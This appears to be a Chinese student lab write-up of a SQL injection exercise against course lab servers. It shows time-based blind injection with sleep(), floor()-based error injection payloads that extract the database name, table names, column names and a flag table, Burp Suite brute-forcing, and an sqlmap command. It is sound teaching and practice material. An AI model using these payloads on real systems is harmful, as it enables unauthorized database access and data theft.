SQL注入漏洞的攻击与防御

一、实验名称

SQL注入漏洞的攻击与防御

二、实验环境(详细说明运行的系统、平台及代码等)

1、攻击机系统环境:Windows 7/8/10

2、浏览器:Firefox 53.0.2(64位)

3、浏览器插件HackBar 1.6.3.1

4、Burp Suite 1.7.11

三、实验步骤及结果

1、基于时间延迟的盲注

   打开Firefox浏览器,按F12,打开FireBug。选择“网络选项卡”

   实验网址:  http://222.18.158.243:4609/

   注入点:http://222.18.158.243:4609/?id=1

   需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。

   提示:

   http://222.18.158.243:4609/?id=1 and if(length(database())=6,sleep(1),1)%23

   FireBug中,“网络选项卡”的时间线与

http://222.18.158.243:4609/?id=1andif(length(database())=5,sleep(1),1)%23

http://222.18.158.243:4609/?id=1andif(length(database())=7,sleep(1),1)%23

   有明显区别,可以判断出数据库名长度为6

   或者,做一个1,2,3,4。。。。30的密码字典,用Burp Suite爆破,注意,在显示爆破结果页面时,Columns列需要设置勾选“Response received”

    Burp Suite使用方法参考:

http://www.360doc.com/content/16/0425/10/29967943_553593234.shtml

    可以看到6与其他的明显不同,也可以得到数据库长度为6

2、利用floor()函数进行报错注入

   提示“floor报错注入,注入点id=1”

   实验网址:  http://222.18.158.243:4606/

   注入点:http://222.18.158.243:4606/?id=1

   需要学生自己构造SQL语句,获得字段个数、字段精确位置、数据库名、数据库用户名、表名、字段名、字段内容等信息。

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=flag LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://222.18.158.243:4606/?id=1 and(select 1 from(select count(*),concat((select flag from flag),floor(rand(0)*2))x from information_schema.tables group by x)a)

  • 实验心得

通过实验了解基于时间延迟的盲注、利用floor()函数进行报错注入的相关操作

  • 思考题

应该如何使用SQLmap进行本实验中的几个注入?

python sqlmap.py -u "http://222.18.158.243:4610/?id=1" -p "id" --current-db --batch -T "flag" --no-cast --level 5 --risk 2

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值